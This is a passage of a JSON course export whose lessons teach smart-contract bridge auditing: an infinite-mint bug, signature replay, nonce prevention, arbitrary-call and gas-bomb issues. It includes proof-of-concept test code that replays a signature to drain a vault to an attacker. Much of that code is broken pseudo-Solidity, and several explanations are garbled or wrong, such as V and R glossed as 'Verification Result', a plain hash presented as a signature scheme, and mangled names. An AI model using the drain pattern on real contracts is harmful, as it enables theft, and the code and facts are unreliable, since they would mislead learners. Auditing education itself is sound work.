Code Implementation\n\nIn the next set of developments, we need to create an attacker.\n\n```javascript\nuint256 vaultBalance = 500 ether;\nminter.mint(address(token), address(vault), vaultBalance);\n```\n\nLet's assume, for simplification, that our vault already holds some currency. In this example, we let it hold 500 ether. To effectively simulate this situation, we can use Foundry's cheat code which gifts our vault with 500 ethers of a particular token.\n\nFollowing this, we need to direct the trigger towards the deposit event function. This function executes when there's self-transference of tokens to the vault.\n\n```javascript\nemit deposit(address(token), address(vault), address(attacker), vaultBalance);\n```\n\nUnderstandably, it sounds a bit nonsensical. Why are we sending it back to ourselves? However, the objective here is to transfer it to the attacker.\n\n```javascript\ntokenbridge.depositToL2(\n address(token),\n address(vault),\n address(attacker),\n vaultBalance\n);\n```\n\nNow comes the shocker moment! We can ostensibly perform this operation indefinitely because we're continually sending back the tokens to the vault. Do we just stumble upon a way to mint infinite tokens on the L2 layer? Let's validate this.\n\n...\n\nYikes! We indeed did. We've indeed discovered a loophole that allows users to mint tokens on the L2 layer, theoretically, without limitation, irrespective of whether they could withdraw these tokens or not.\n\nThe realization of this potential for creating an unlimited number of tokens flags a significant issue. It's undeniably a vulnerability of high severity. We won't get into a thorough write-up, but the proof of this code's failure is quite evident from this exploration, reminding us of the constant need to stay vigilant in the technology sector.\n", + "updates": [] + }, + { + "lessonId": "795f5011-08d2-489f-9d32-5f0216c39885", + "number": 23, + "title": "Why are these not the same finding?", + "slug": "why-not-the-same", + "folderName": "23-why-not-the-same", + "description": "", + "duration": 2, + "videoUrl": "nDcqp1KrhHtFuotKGO8xpAi35p8iA9PCxsiOkd900c01U", + "rawMarkdownUrl": "/routes/security/7-bridges/23-why-not-the-same/+page.md", + "markdownContent": "---\ntitle: OracleUpgradeable.sol (Continued)\n---\n\n\n\n---\n\n# Unraveling the Conundrum: Are They Two Separate Bugs, Or Just One?\n\nWhenever you're delving deep into bug relief, it often becomes a question whether to report similar issues separately or bundle them as one. Well, this blog post seeks to clarify these foggy waters, drawing on a practical example involving two similar software functions. Let's dive in, shall we?\n\n## Dissecting the Problem at Hand\n\nOur situation consists of two seemingly identical problems arising from similar functions. You might be asking, as did one of our colleagues, _why are we reporting these as two separate issues? Aren't they the same issue?_.\n\n![](https://cdn.videotap.com/6gzcQPFB2rgdRBI8JFJa-11.36.png)\n\nFair question, right? After all, it's an essential part of troubleshooting to identify the issues accurately, so we can apply correct fixes and prevent future recurrences. Let's start by understanding the root cause of these bugs to see if they are more distinct than they appear.\n\n### The Root Cause\n\n> \"In every complex problem lies an opportunity to learn.\"\n\nLook closely, and we find that the two bugs have slightly different root causes.\n\n**Bug 1:** The problem here is that after 'someone else' approves, a user can surreptitiously 'steal' their funds. This issue essentially arises from an 'arbitrary send' from another user, which isn't supposed to happen in a robust, secure system.\n\n**Bug 2:** We see that while it deals with 'stealing' as well, the issue isn't strictly similar. The problem here essentially arises from the vault always having maximal approvals. This bug, therefore, isn't solely dependent on the thieving user, but also on the software giving unwarranted permissions.\n\n![](https://cdn.videotap.com/l0gRdGu8ti9QkBOZPlHZ-36.92.png)\n\nYes, you could argue that at their core, these issues do outline a 'similar' root cause. This claim holds some merit after all since both problems involve unauthorized access and fund misappropriation. Still, the dramatic differences in the details could be seen as suggesting two separate bugs.\n\n### An Interesting Conundrum\n\nWe stand before an interesting conundrum in software debugging — whether to consider identical root causes with different details as a single bug or multiple. Personally, I find these two bugs intriguingly intricate enough to merit separate reports. Of course, as this is not a hard and fast rule, opinions may differ. There's room for a heated debate here, with Technocrat A claiming they're the same issue and Developer B insisting they're two different things.\n\n### The Result: Two Bugs or One?\n\nPutting aside the scholarly debate on debugging philosophy, in practical terms, we have two problems that necessitate separate solutions. Thus, regardless of their identical core, from our perspective, these remain two separate findings.\n\n![](https://cdn.videotap.com/PtXNrChg21iZ1dkXkyTz-53.96.png)\n\n## And We Are 'Cooking'\n\nIn our world of programming, this is called 'cooking.' We take the raw ingredients (issues) and turn them into tasty dishes (resolved problems).\n\nAre there any other issues lurking beneath the surface? Possibly. For now, though, I think we're in good shape having identified these two intriguing bugs. We've ironed out a major part of our problem-solving journey, leaving potentially two more crucial functions to dissect.\n\nSo what's the lesson here? Bugs always aren't what they seem. And, just as crucially, sometimes they are exactly what they seem. But the beauty of it all lies in the exploration and discovery.\n\nStay tuned in to our coding adventures. Let's see what else we discover along the way. Happy 'cooking'!\n", + "updates": [] + }, + { + "lessonId": "c5c88396-a8a2-49a8-922b-845543a3b3aa", + "number": 24, + "title": "Recon Continued Again (again)", + "slug": "recon-again-again", + "folderName": "24-recon-again-again", + "description": "", + "duration": 6, + "videoUrl": "02uyrS2neealp6yHRU3JEBxzwSEyxbPgSnZcFHcJqraI", + "rawMarkdownUrl": "/routes/security/7-bridges/24-recon-again-again/+page.md", + "markdownContent": "---\ntitle: Recon (Continued) Again\n---\n\n\n\n---\n\n# Understanding Token Withdrawal From L2 to L1 in Blockchain\n\nIn this post, we'll be deep diving into a crucial function that is responsible for the withdrawal of tokens from L2 to L1. Along the way, we will demystify some blockchain terminologies like VR and S, and explore how security mechanisms prevent replay attacks.\n\nIn this process, we are going to look into two essential parameters: VR and S, and the address of the user, and then explore the 'send to l one V, R and S' function. We will also dig a little into gasless transactions and encoding some data in various functions.\n\n## Signature: A Safety Net Against Replay Attacks\n\nThe function we will be examining requires what we refer to as \"signature\" - an essential feature to prevent sketchy replay attacks.\n\n```js\n function withdrawL2(address _l2Token,address _from,address _to,uint256 _amount,uint32 _l1Gas,bytes calldata _data) external returns (bytes memory){}\n```\n\nHere, `_from` works as the address of the user receiving tokens on L1. `_amount` determines the tokens to withdraw, and `data` emits the signature coming from the signed data. This gives us VR and S.\n\n## Embarking on The Token Withdrawal Journey\n\n![](https://cdn.videotap.com/UsY4cL26EFFcQNaxeMa5-118.72.png)\n\nNow, let's walk through the process of withdrawing tokens from L2 to L1. In the function, it's apparent that anyone can initiate a token withdrawal to L1. Let's analyze the step that happens when we call 'send to l1 V, R and S'.\n\n## Signature Verification and Gasless Transactions\n\nTokens are withdrawn from L2 to L1 upon calling 'send to l1 V, R and S.' ABI encoding (a part of signing in Ethereum) is key to our discussion here. It signs the essential message we will verify for authenticity.\n\n> \"Allowing people to call transactions by signature introduces the beneficial feature of gasless transactions, called relays.\"\n\nWithdrawing tokens via signatures brings many benefits, despite it seeming a bit unusual. For instance, it enables gasless transactions, which can help users save on network gas fees.\n\n## Unravelling the sendToL1 'V, R and S' and ECDSA Recover Function\n\nUpon calling `sendToL1`, we come across V, R and S encoded as bytes in the memory message. Let's now delve into the 'ECDSA Recover' to verify the signer.\n\n```js\nfunction recover(bytes32 hash, bytes memory signature)\n```\n\nInvoking 'recover' in the `sendToL1` function gets the function `Try Recover`, which eventually reaches out to the ECDSA recover at the lower part.\n\nIt's quite confusing, but stay with me!\n\nBehind the scene, the private key and the signed message combine to become the input parameters constituting V, R and S. The chain is verifying the message off-chain.\n\n![](https://cdn.videotap.com/VndGsyKD2Q9sT0kYNAIq-217.66.png)\n\nThe highlighted block of code converts the signed message into a designated format. The `ecrecover` and `hashutils twoethereum` play a significant role in this. Afterward, it calls `ECDSA Recover` to verify the signer.\n\nLet the code tickle your curiosity and compel you to inspect it further. So, let's proceed!\n\n## Ensuring Only Authorized 'Signer' Can Operate\n\nThe above block of code facilitates how the V, R and S signer can withdraw tokens from L2 to L1. This flow makes sense –only an authorized signer should be able to unlock tokens on L2. Any unauthorized access will cause a total system revert.\n\nThe codes continue to decode the message after verifying the 'signer.'\n\n```js\n (address target, uint256 value, bytes memory data) = abi.decode(_message, (address, uint256, bytes));\n```\n\nThe system finally performs a low-level call, unlocking the token over here. It uses the 'signer' placed in the target call feature with the determined data. If this is not successful, it reverts again.\n\nHere ends our thorough examination of withdrawing tokens from L2 to L1. It can be complicated but don't sweat it; every blockchain pro started from somewhere! Happy coding!\n", + "updates": [] + }, + { + "lessonId": "f751fc12-ba83-440b-89aa-c9f884a04542", + "number": 25, + "title": "Exploit: Signature Replay", + "slug": "exploit-replay", + "folderName": "25-exploit-replay", + "description": "", + "duration": 1, + "videoUrl": "kGbJsEKbl8Jg0142FtHkcPOKZJ3KOU2J1al7401o1dVD00", + "rawMarkdownUrl": "/routes/security/7-bridges/25-exploit-replay/+page.md", + "markdownContent": "---\ntitle: Exploit - Signature Replay Introduction\n---\n\n\n\n---\n\n# Deep Dive Into Blockchain Security: Unraveling possible threats.\n\nOne of the most critical aspects of blockchain technologies is the security of transactions. From initial transaction construction to the validation and final verification, every step needs to be sealed tight against possible leaks and malicious hacks.\n\n![](https://cdn.videotap.com/U6sIP6ZAYI2aZNSWp4tF-3.87.png)\n\nThere is an exciting operation happening here, particularly the part where cryptography plays an integral role in securing these transactions. Yet, can we say with utter certainty that this operation is foolproof? Let us explore this in detail.\n\n## Role of Cryptography in Blockchain Security\n\nPrimarily, a piece of cryptographic math, or simply cryptomath, is used to generate a digital signer, or simply, Signer. The very next step is to verify that this Signer in question is legitimate. Primarily, this is designed to prevent unauthorized users or hackers from tampering with the information or modifying it to their advantage.\n\nBut the crucial question is, is there a way for some other random user, possibly with malicious intent, to bypass this system and pose as the Signer?\n\nTheoretically, let’s analyze this process in detail.\n\n### Examining the Signature Placement\n\nThink about it like this:\n\nWhen the Verification Result (VR) and Signature (S) are placed on the blockchain, they form what is essentially a 'signature.' Once the signature is up on-chain, it becomes universally visible. It's comparable to a signed message that's been broadcasted across the network.\n\nAs a user, you won’t have access to the private key, but the signed message is right there, quite visible. Still, unless you misuse this, everything is as safe as it should be, correct?\n\nHere's where things start to become interesting.\n\nConsider this scenario:\n\n_What if another user decided to send the exact same signed message?_\n\nIt does sound a bit nerve-wracking, doesn’t it?\n\n```js\nif (message.signature === duplicated_message.signature) {\n console.log(\"Threat detected\");\n}\n```\n\nUpon reflection, this certain aspect reveals the possibility of a potential security breach. An unauthorized user might mimic a legitimate sender by duplicating the signature, consequently causing a remarkably serious issue.\n\n> **Blockquote**: \"He who knows only his side of the case, knows little.\" - John Stuart Mill\n\n## The Vulnerability Verdict: Is Blockchain Security Assured?\n\nSo, putting it bluntly, could this be the Achilles Heel in our otherwise 'unbreakable' blockchain security? It indeed could be! As developers and engineers passionate about blockchain technology, it's critical that we assess and address every overlooked vulnerability. In this context, considering the possibility of a duplicate signed message on-chain could point us to areas of our system that require more robust fortification.\n\nEngaging in such analytical exploration is not just about identifying problems. It's also about fostering a culture of improvement and evolution in the world of blockchain technology. With every obstacle we overcome, we not only make our systems safer; we also contribute to the overall growth and credibility of blockchain technology.\n\n![](https://cdn.videotap.com/0t4sBJFtbzZLfqeahsX4-54.13.png)\n\nIn conclusion, blockchain security depends heavily on its cryptographic standards. Even though the possibility of a breach might be low, as technology progresses and attackers become more sophisticated, possibilities might become realities. Therefore, remaining informed, prepared, and proactive is the key to staying one step ahead!\n", + "updates": [] + }, + { + "lessonId": "2068428c-986b-408b-a3d9-afd659319258", + "number": 26, + "title": "Signature Replay: Minimizd", + "slug": "replay-minimizd", + "folderName": "26-replay-minimizd", + "description": "", + "duration": 2, + "videoUrl": "HWlULSjWO2Be401V8KlE02sJ2XGUnvQYXULzRyVOav5nI", + "rawMarkdownUrl": "/routes/security/7-bridges/26-replay-minimizd/+page.md", + "markdownContent": "---\ntitle: Exploit - Signature Replay Minimized\n---\n\n\n\n---\n\n# Understanding Signature Replay Attacks: A Critical Look at Contemporary Blockchain Exploits\n\nLet's delve headfirst into one of the most recurrent threats on the blockchain- signature replay attacks. These attacks are unpleasantly commonplace and understanding them thoroughly is paramount in creating a secure, decentralized network. Now, signature replay attacks might sound menacingly complicated at first thought, but trust me, as we go through the concepts and how it actually happens, it will become significantly less intimidating!\n\nIn my quest to provide a hands-on understanding of these signature replay attacks, I have created a fantastic open-source repo, `sc-exploits-minimized`, that will allow you to fiddle with blockchain signatures and remix them as you'd like. It's a great playground to get those hands dirty, but for the sake of understanding, I find it easier to pull up the **SC Exploits Minimized Test Case Unit**, specifically `signatureReplaytest.sol` file, and witness how signature replay attacks unfold in reality.\n\n## The Anatomy of Signature Replay Attacks\n\nHere's a breakdown of how the signature replay attack operates in this particular test case. The process involves a victim and an attacker, each playing their parts in a scenario that very much reflects the real-world possibility of such attacks.\n\nHere's an overview of the function: `testSignatureReplay`.\n\n- Firstly, a victim deposits some funds into the protocol. It's like putting your money in a virtual safe.\n- Once deposited, they engage in all sorts of encoding activities.\n- The victim then signs the digest or the formatted message to get the V, R and S values- These are generated as part of the ECDSA (Elliptic Curve Digital Signature Algorithm) sign message function.\n- After signing the digest, they proceed to call `WithdrawBySIG` to withdraw the required amount.\n\nThis process, even though seems harmless, opens up a large vulnerability for potential attackers to exploit.\n\n```js\nfunction testSignatureReplay() public {\n /* victim deposits into the protocol */\n ...\n /* encoding and digest signing to get V, R and S */\n ...\n /* victim calls 'WithdrawbySIG' */\n ...\n }\n```\n\n![](https://cdn.videotap.com/FIMkVw05x2zEDqU0YEm8-42.24.png)\n\n## Unpacking The Flaw\n\nSo where does it go wrong? Well, it's the post-withdrawal phase that introduces the opportunity for an attacker to wreak havoc. This is how it goes:\n\n- Upon seeing the V, R and S on-chain, the attacker realizes that there's nothing preventing it from being reused. In essentially, having this crucial V, R and S information plastered on the chain without protections is just begging an attacker to play around with it.\n- The attacker then proceeds to continuously call `WithdrawbySIG` until all the money is missing, effectively draining the victim's funds.\n\nKeep in mind that in this example, the attacker does not steal any money. Their primary goal is to kick the victim out of the protocol permanently, rendering any further transactions or involvement in the system impossible for the victim.\n\nIt’s essential to note that the lack of mechanism in place to prevent the V, R and S from being reused is the critical flaw in this script.\n\n> **_\"To tackle signature replay attacks effectively, you need to understand that the crux of the problem is the reuse of VR and S with no protective measures.\"_**\n\n## The Bigger Picture\n\nSignature replay attacks expose significant vulnerabilities in the blockchain system, making them a fertile ground for attackers to exploit. By understanding the nuts and bolts of these attacks, you can develop robust systems and strategies to circumvent these risks, contributing to a secure and more decentralized financial network.\n\nAs we dive deeper into this brave, new, decentralized world, remember that understanding is the first step towards prevention. We aren't just tech enthusiasts; we're defenders of the future of finance! Be vigilant and keep learning.\n", + "updates": [] + }, + { + "lessonId": "8ffdf897-73ba-4c5c-96c8-aa49a0c6f3ea", + "number": 27, + "title": "Signature Replay: Protection", + "slug": "signature-replay-protection", + "folderName": "27-signature-replay-protection", + "description": "", + "duration": 7, + "videoUrl": "uwDa5bKISoR7P02zdfarzlffYREMj931TsFSkF1H028QA", + "rawMarkdownUrl": "/routes/security/7-bridges/27-signature-replay-protection/+page.md", + "markdownContent": "---\ntitle: Signature Replay Protection\n---\n\n\n\n---\n\n# Vulnerabilities Found in the V, R and S: A Deep Dive into Replay Protection\n\nWelcome to another deep dive into smart contract vulnerabilities. We're dissecting V, R and S -- a signature often found in blockchain technology.\n\n![](https://cdn.videotap.com/fepx5pOEwGHrxsJGEs9y-17.14.png)\n\nDuring this long and fascinating journey, we'll be breaking down each step to understand the vulnerabilities at a granular level. In particular, we'll be examining whether this signature benefits from replay protection. Spoiler alert: it doesn't. Let's delve in!\n\n## Crafting a Proof of Concept Code\n\nOur journey starts by raising a sobering question: Can this signature be deployed more than once? To answer this, we put together a proof-of-concept code that shows how this could potentially occur, leading to vulnerabilities.\n\n```javascript\nfunction testSignatureReplay() public {\n uint vaultInitialBalance = 1000e18;\n uint attackerInitialBalance = 100e18;\n address attacker = makeAdr(attacker);\n deal(address tokenAddress, vault, vaultInitialBalance);\n deal(address tokenAddress, attacker, attackerInitialBalance);\n uint v, bytes32 r, bytes32 s = vm.sign(private key ...);\n bytesmemory message = abi.encode(address token, 0, encodeCall(IERC20.transferFrom(address vault, attacker, attackerInitialBalance) ));//in a loop until vault balance is zero\n tokenbridge.withdrawTokensToL1(attacker, attackerInitialBalance, V, R, S);\n assertEqual(token.balanceOf(address attacker), attackerInitialBalance + vaultInitialBalance);\n assertEqual(token.balanceOf(address. Vault), 0);\n}\n```\n\nLet's break this down.\n\nThe function `testSignatureReplay()` assumes that a vault already holds some tokens. The initial balance of the vault and an attacker are given. The function then carries forth several deals. An attacker is set up who deposits tokens to a layer 2 (L2) chain.\n\n## Signature and Transfer\n\n```javascript\n uint v, bytes32 r, bytes32 s = vm.sign(private key ...);\n```\n\nThis part of our code does a bit of magic by signing the data with a private key. Thanks to Foundry, we can utilise a cheat code `VM.sign` to sign with the operator key, and then hash the actual data.\n\nThe next step is to formulate our `message`.\n\n```javascript\nbytes memory message = abi.encode(address token, 0, encodeCall(IERC20.transferFrom(address vault, attacker, attackerInitialBalance) ));\n```\n\nHere, we're essentially encoding a message instructing a transfer from the vault to the attacker. The signed message containing the V, R, and S values are usually what prompts MetaMask to ask for confirmation.\n\nThe signed message indicates a legitimate deposit of tokens from Layer 1 (L1) to L2. The operator, seeing this as valid, then submits V,R,and S on-chain.\n\nThis is the point where the replay attack becomes feasible. As soon as the operator's signature is placed on-chain, an attacker can simply keep invoking `withdrawTokensToL1` using that very same signature, draining balance from the vault until it's completely empty.\n\n## The Aftermath\n\nAnd how do we know it works? After running this function, we have successfully drained the vault entirely whilst increasing the attacker's balance accordingly:\n\n```javascript\nassertEqual(token.balanceOf(address attacker), attackerInitialBalance + vaultInitialBalance);\nassertEqual(token.balanceOf(address. Vault), 0);\n```\n\nIn short, we've just carried out a successful attack!\n\n## Wrapping up\n\nLooking at the given scenario, it becomes evident how signatures without replay protection, such as the one in our example, can pose significant security risks. Despite its relatively small codebase, such attacks can have substantial consequences. Always remember, when coding smart contracts, always ensure that your code includes mechanisms to prevent a replay attack.\n\nAudit data and additional findings related to the topic can be found in the corresponding Git Repo. Happy coding and be safe!\n\n> \"Security in blockchain technology involves a constant combat against potential threats and vulnerabilities.\"\n", + "updates": [] + }, + { + "lessonId": "eb2034da-2814-4886-8a0d-22708017cf33", + "number": 28, + "title": "Signature Replay: Prevention", + "slug": "sig-replay-prevention", + "folderName": "28-sig-replay-prevention", + "description": "", + "duration": 1, + "videoUrl": "ifhNh02kZjmFSAHbVAKD02tcb4HwKmcejLxfUTWtmEs8s", + "rawMarkdownUrl": "/routes/security/7-bridges/28-sig-replay-prevention/+page.md", + "markdownContent": "---\ntitle: Sig Replay Prevention\n---\n\n\n\n---\n\n# The Art of Preventing Signature Replay Attacks\n\nHello there! In today's digital world, the protection of your data and privacy are of the utmost importance, especially when it comes to the vast field of cryptography. One common area where issues might arise involves signature replay attacks. Before we delve into the prevention methods, it's important to understand what these attacks are.\n\n![](https://cdn.videotap.com/5mzAbV6qyV86T7x1bv34-2.67.png)\n\nA signature replay attack involves an attacker illicitly using a data transmission or digital signature multiple times, potentially leading to fraudulent actions. In order to put a stop to this, the most prevalent method is to utilize something called 'nonces' or include a deadline. Curious to know more? Let's dive in.\n\n## Nonces – A Key Combatant Against Replay Attacks\n\nA ‘nonce,’ or ‘number used once,’ is an arbitrary number that can be used precisely one time in a cryptographic communication. It is commonly a random or pseudo-random number, serving as one of the strongest safeguards against signature replay attacks. It's this concept that plays a pivotal role in preventing these types of attacks.\n\nThe mechanism is straightforward: We put some specific parameters into the signature. When the signature gets hashed, or signed, it can only be used one time.\n\n## Ensuring The Authentic Signature Sender\n\nOf course, the nonce method is just the start. To ensure the integrity of our message, it might also be necessary to verify that the initial signature was obtained from the actual sender or originator.\n\nConsider this: The first time a message is signed, it's crucial that the signature be from the _true_ signer. It sounds obvious, right, but how can we make sure of this?\n\nAgain, our solution lies in the way we handle and hash our signatures, in something called a digital signature scheme. A digital signature scheme ensures that each signature made on the same message is unique by varying a part of the cryptographic elements used in the signing process. It might sound a bit complex, but let's break it down with a simple code example:\n\n```js\nfunction sign(message, key, private_param);\nnonce = random.getrandbits(128) // create a 128-bit random nonce\nhashed_private_param = hashlib.sha256(private_param).hexdigest()\nhashlib.sha256(key + nonce + message + hashed_private_param).hexdigest() // hash the key, nonce, message, and hashed private_param, and return as a hex string\n```\n\nIn this code, we’ve added one more parameter in the signing process, a private parameter that is unique for each sender. This element is hashed and added to our overall signature.\n\n## Conclusion\n\n> “Always make sure your messages and signatures come with a one-time ticket – The nonce.\"\n\nThe use of nonces, or one-time use data, in these signatures is a crucial element in ensuring that your digital signatures are protected from being misused. If utilized correctly, they can serve as a solid wall protecting you from the potential signature replay attacks. Generally, it all boils down to integrating this concept into the design and implementation of cryptographic systems.\n\nAs with any other part of cybersecurity, staying one step ahead of possible attackers is the name of the game, so it's essential to keep learning and adapting. Stay tuned for more updates and insights into the realm of cybersecurity!\n", + "updates": [] + }, + { + "lessonId": "3a1b25ed-a5e3-4c7b-a2c4-2fe61c02505b", + "number": 29, + "title": "Exploit: Low level call to itself", + "slug": "low-level-exploit", + "folderName": "29-low-level-exploit", + "description": "", + "duration": 2, + "videoUrl": "qd5NSTSSWw302bgds6b1LKNcftp6u2EHj025k802fxlvSM", + "rawMarkdownUrl": "/routes/security/7-bridges/29-low-level-exploit/+page.md", + "markdownContent": "---\ntitle: Low-Level Exploit\n---\n\n\n\n---\n\n# Uncovering Hidden Bugs in Code Base: A Developer's Challenge\n\nToday, let's delve into a particularly intriguing part of the code base that's rife with at least two major bugs. I encourage you to dig deep, find these bugs, and thoughtfully attempt to write them out. If you don't grasp the explanation right away, don't be discouraged - just refer to the GitHub repository linked to this section for a more comprehensive understanding of these bugs.\n\nEven if the bugs are a bit cryptic in nature, Slither – our static analysis tool – has lobbed a figurative tip-off in our direction, indicating that things aren't all peaches and cream. So, let's proceed to unravel these bugs, shall we?\n\n### When Things Go Wrong\n\nThe first bug we have on our hands isn't as straightforward as it might initially seem. This bug is associated with a code snippet that Slither flagged as suspicious or possibly detrimental.\n\n```js\nsendToL1(Arbitrary_message);\n```\n\nIs Slither's panic alarm warranted in this situation? Unfortunately, the answer, in this case, is a resounding **yes**. The bug is not just bad, it's downright dreadful.\n\n#### Arbitrariness and the Hidden Flaws\n\nWhat's the core problem, you ask? It all pertains to the way the `sendToL1` function passes arbitrary messages. In simple terms, the function is just accepting any given inputs without any verification system, which could be a potential security risk.\n\nTo grasp this problem, we need to understand the `vault` and its `approveTo` function. This particular function can only be called upon by the `bridge`.\n\n```js\nfunction approveTo(Bridge, Token) // Can only be called by the bridge\nif (caller != Bridge){\n throwToken.totalSupply -= caller.balancecaller.balance = 0\n }\n```\n\nNow, imagine if someone triggers this `approveTo` function, passing malicious data asking the bridge to approve tokens for a hacker. Then, in record time, the hacker manages to drain all the tokens in the vault. Sounds like a dreadful fate, doesn't it? In the world of coding, this is just as destructive and catastrophic.\n\n> Quote: \"Bugs are like viruses - they can cause a minor irk or lead to a total system downfall.\"\n\n### Slither's Warning: A Red Flag\n\nAside from dire warnings about the first bug, Slither also gives us a prompt about another flaw in the system.\n\nIdentifying these issues is crucial for ensuring that our code remains secure, efficient, and, above all, bug-free. So, let's not sideline Slither’s red flags, and give them as much attention, if not more, as we would to the other parts of our code base.\n\n## Conclusion\n\nBugs in your code base can range from harmless to a total catastrophe. Understanding them, and more importantly, identifying them before they wreak havoc, is a crucial part of any developer's journey. SO tune in next time when we delve into more bugs and how to debug them efficiently.\n\nStay curious and keep coding!\n\n- Note: In case of any queries or difficulties in understanding the bugs, kindly refer to the associated GitHub repo for further explanation, or feel free to leave your questions in the comment section below.\n", + "updates": [] + }, + { + "lessonId": "79c17e62-5cdf-452a-b733-c84207283d0e", + "number": 30, + "title": "Exploit: Gas Bomb", + "slug": "gas-bomb", + "folderName": "30-gas-bomb", + "description": "", + "duration": 1, + "videoUrl": "Gtt6PwqEuAVgUm1tNatgGY92DOHQPq3hCREGKuTK2gY", + "rawMarkdownUrl": "/routes/security/7-bridges/30-gas-bomb/+page.md", + "markdownContent": "---\ntitle: Exploit: Gas Bomb\n---\n\n\n\n---\n\n# Demystifying Gas Bomb and Other Blockchain Vulnerabilities\n\nThe world of blockchain is buzzing with fascinating features and vulnerabilities. One such intriguing element I'd like to shed some light on is the phenomena known as the gas bomb. This seemingly complex occurrence has sparked much debate, and I hope this post will provide you with some clarity on what exactly it is, how it works, and the kind of impact it can have.\n\n## What is a Gas Bomb Anyway?\n\nA gas bomb in blockchain terms is a low-level call where Solidity, the smart contract programming language, and the Ethereum Virtual Machine (EVM), the runtime environment, struggle to estimate the amount of computational effort (gas) needed to execute certain transactions.\n\n![](https://cdn.videotap.com/ffmuYOJbZ3iqYxllhGBD-5.94.png)\n\n> **Note**: Gas refers to the computational effort required to execute an operation in the Ethereum network.\n\nA malicious user can exploit this to trick the network into allocating absurd amounts of gas, and thereby charging other network participants excessively to execute a function.\n\n## Understanding the Implications\n\nWhat's interesting about gas bombs is how they're used in the network. For instance, while some users might employ this method to gain profits, others seem to have darker motivations. Often, these users utilise this exploit for seemingly no tangible benefits. Their motivations? To disrupt the system and cause chaos.\n\n> \"Some people just want to watch the world burn.\"\n\nIt's a poignant phrase that well encapsulates the mentality of these malicious actors. They create chaos without expecting any monetary gain in return. Their goal isn’t to profit, but simply to disrupt the system - no rhyme, no reason, just pure anarchy.\n\n![](https://cdn.videotap.com/l0jIWaD8hhNflUJypCfy-22.29.png)\n\n## Ready To Dive Deep?\n\nIf by now, you're wrapped in a whirlwind of questions, I'm glad! Because what's learning without a little bit of challenge? But, if you're wondering what the hoo-ha I am talking about, now would be a good time to pause and take a breather.\n\nI encourage you to delve in, try to construct the proof of code for the vulnerabilities we discussed, and even to try your hand at crafting your gas bombs.\n\nTo get started, consider:\n\n1. Studying the structure of a low-level call in Solidity and the EVM,\n2. Understanding the significance of gas in the Ethereum network,\n3. Exploring how it's possible for the network to be fooled into allocating excess gas,\n4. Unveiling the motivations of malicious actors, and\n5. Learning how to protect yourself against such exploits.\n\nTo aid you in your quest, I've left a plethora of resources and exciting ensemble of ideas for you to navigate through in our [GitHub repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23).\n\n![](https://cdn.videotap.com/IqGVeU9yKyYfHHDeOCnY-41.6.png)\n\n## Never Stop Learning\n\nNow, we've been walking through these attacks, learning about them, discussing many proofs of code, and a lot of low-level calls. Remember, we are only at the beginning of our journey. Similar to any other journey you undertake, remember that what matters is your perseverance.\n\n> \"Pretty soon, you're going to need to start jogging or running.\"\n\nThe world of Blockchain is massive and ever-evolving. As we make our way through, be ready to pick up speed and adrenaline, from a casual amble to a determined sprint. I hope you are as excited as I am to continue this journey. Let's learn, explore, and grow together.\n", + "updates": [] + }, + { + "lessonId": "92f33e5e-6c4d-405c-8700-d14a85995179", + "number": 31, + "title": "Recap", + "slug": "recap", + "folderName": "31-recap", + "description": "", + "duration": 5, + "videoUrl": "g23PPjlY5QwPaT2z8gmK1D3e02d25ztT02ZOrH01J02LGpA", + "rawMarkdownUrl": "/routes/security/7-bridges/31-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n\n\n---\n\n# ![Blockchain](https://images.unsplash.com/photo-1560185004-65a33335a867?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8) GUIDE TO WALLET KEY MANAGEMENT, EVM, DIFF AND THE IMPORTANCE OF POST DEPLOYMENT IN BLOCKCHAIN\n\nHello folks! You're in for an exciting ride as today we'll be diving deeper into the world of blockchain. We've covered a lot, but there's a whole universe waiting to be explored.\n\nBefore we jump into the next section, here's an assignment. Conduct a complete competitive audit. The essence of this exercise is to immerse you in Wallet Key management, which plays a significant role in blockchain.\n\nThere's more! We'll then delve into the depths of the Ethereum Virtual Machine (EVM), Yule, Huff and Opcodes. We will close our session with four of verification and formal verification, symbolic execution - a mandatory code review that will boost your understanding of the subject.\n\nBefore that, let's quickly touch upon a DeFi Stablecoin and discuss the crucial step of post-deployment.\n\nSo let's take a breath, buckle up and review what we have learned so far!\n\n## A Deep Dive into EVM Diff\n\nDid I mention we will be exploring EVM Diff also? It's a fantastic tool that allows for comparison of different chains, say Ethereum to Optimism or Arbitrum, highlighting the nuances between these chains.\n\nThrough EVM Diff, you can observe how the chain IDs, names, block explorers vary, and how precompiles work differently. This makes it a constructive tool to test compatibility across various EVM compatible chains.\n\n![](https://cdn.videotap.com/d3RNbllZQnlENKKuA1Rp-72.28.png)\n\nNow, it's not all smooth sailing. There might be some hiccups, like finding some precompiles in Arbitum which are absent in EVM or Arbitum’s different transaction and signature types. Plus, their Opcodes function a bit differently, with some key Opcodes like Push Zero being unsupported on Arbitrum.\n\n## Harnessing the Power of Artificial Intelligence\n\n![](https://cdn.videotap.com/swSuUGyJFrnTQu8g4kzs-104.41.png)\n\nWe haven’t delved too much into AI yet, but it's worth mentioning its relevance especially for the crypto enthusiast. Use AI, like Chat GPT, Elon Musk's new 'Find, Use Grok' to simplify things in blockchain. It can be a helpful tool when decoding intricate patterns or asking pertinent questions.\n\nIn our roadmap, we have upcoming plans for an AI helper for [Cyfrin Updraft](https://updraft.cyfrin.io) that will be a game-changer. So, that's something to look forward to!\n\n## The Importance of Checklist: A Lesson from Tenderly and The Hans\n\nYes, the age-old practice of running through checklists is crucial, even in something as modern as blockchain.\n\nAlthough we didn’t discuss [Tenderly](https://tenderly.co/), it's a notable tool in this domain. Our focus was on the lessons from 'the Hans' stressing on the essentiality of having a checklist. These lists keep you on track, enabling a methodical approach to your manual review process.\n\n## Understanding Precompiles, Private Keys and Signatures\n\nWe mentioned polygon precompile during our case study, emphasizing on how crucial it is to cross-verify and how failing to do so can be costly.\n\nWe've delved into the concept of public and private keys and how these signatures work on-chain. The importance of nonce in signature replays was discussed - they work as a one-time pass for usage ensuring your signatures don't get misused.\n\nWe touched on several critical aspects, like undertaking low-level calls and dealing with the sign in it, and also brushed up on L1s and L2s.\n\n![](https://cdn.videotap.com/wx8Rvhp7nAsmP3hocQLb-200.78.png)\n\nBy now, you should be competent enough to write your own Proof of Concepts (POCs). The ball is in your court!\n\n## Historic Bridge Hacks - Ronan, Polly Nomad and Wormhole\n\nWe intentionally didn't touch upon these major blockchain 